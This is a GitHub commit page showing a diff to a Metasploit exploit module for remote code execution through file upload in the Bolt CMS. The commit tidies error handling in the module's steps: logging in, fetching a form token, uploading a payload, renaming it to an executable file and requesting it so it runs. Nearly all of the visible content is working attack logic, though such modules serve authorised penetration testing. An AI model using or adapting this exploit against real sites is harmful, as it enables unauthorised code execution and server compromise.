Skip to content

Commit 6de0c95

Browse files
committed
Fix some improvements
1 parent cc40595 commit 6de0c95

File tree

1 file changed

+12
-26
lines changed

1 file changed

+12
-26
lines changed

modules/exploits/unix/webapp/bolt_file_upload.rb

Lines changed: 12 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -62,8 +62,13 @@ def bolt_login(user, pass)
6262
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
6363
)
6464

65+
unless res
66+
print_error("#{peer} - No response from server.")
67+
return
68+
end
69+
6570
session_cookie = res.get_cookies
66-
vprint_status('Logging in...')
71+
vprint_status("#{peer} - Logging in...")
6772
res = send_request_cgi(
6873
'method' => 'POST',
6974
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'),
@@ -75,11 +80,7 @@ def bolt_login(user, pass)
7580
}
7681
)
7782

78-
unless res && res.code == 302
79-
print_error("#{peer} - Login failed")
80-
end
81-
82-
if res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
83+
if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
8384
session_cookie = res.get_cookies
8485
return session_cookie
8586
end
@@ -93,19 +94,14 @@ def get_token(cookie)
9394
'cookie' => cookie
9495
)
9596

96-
unless res
97-
print_error("#{peer} - Unable to connect in the Server")
98-
return
99-
end
100-
10197
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
10298
return Regexp.last_match[1]
10399
end
104100
nil
105101
end
106102

107103
def rename_payload(cookie, payload)
108-
res = send_request_cgi(
104+
res = send_request_cgi(
109105
'method' => 'POST',
110106
'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'),
111107
'vars_post' => {
@@ -117,12 +113,7 @@ def rename_payload(cookie, payload)
117113
'cookie' => cookie
118114
)
119115

120-
unless res
121-
vprint_error("#{peer} - Unable to rename de file.")
122-
return
123-
end
124-
125-
if res.code == 200
116+
if res && res.code == 200
126117
return true
127118
end
128119
nil
@@ -138,7 +129,7 @@ def exploit
138129
vprint_good("#{peer} - Authenticated with Bolt.")
139130

140131
token = get_token(cookie)
141-
if nonce.nil?
132+
if token.nil?
142133
print_error("#{peer} - No token found.")
143134
return
144135
end
@@ -161,12 +152,7 @@ def exploit
161152
'cookie' => cookie
162153
)
163154

164-
unless res
165-
print_error("#{peer} - No response from the target")
166-
return
167-
end
168-
169-
if res.code == 304
155+
if res && res.code == 302
170156
vprint_good("#{peer} - Uploaded the payload")
171157

172158
rename = rename_payload(cookie, payload_name)
@@ -187,7 +173,7 @@ def exploit
187173
)
188174
vprint_good("#{peer} - Executed payload")
189175
else
190-
print_error("#{peer} - To do")
176+
print_error("#{peer} - Exploit failed. Aborting.")
191177
end
192178
end
193179
end

0 commit comments

Comments
 (0)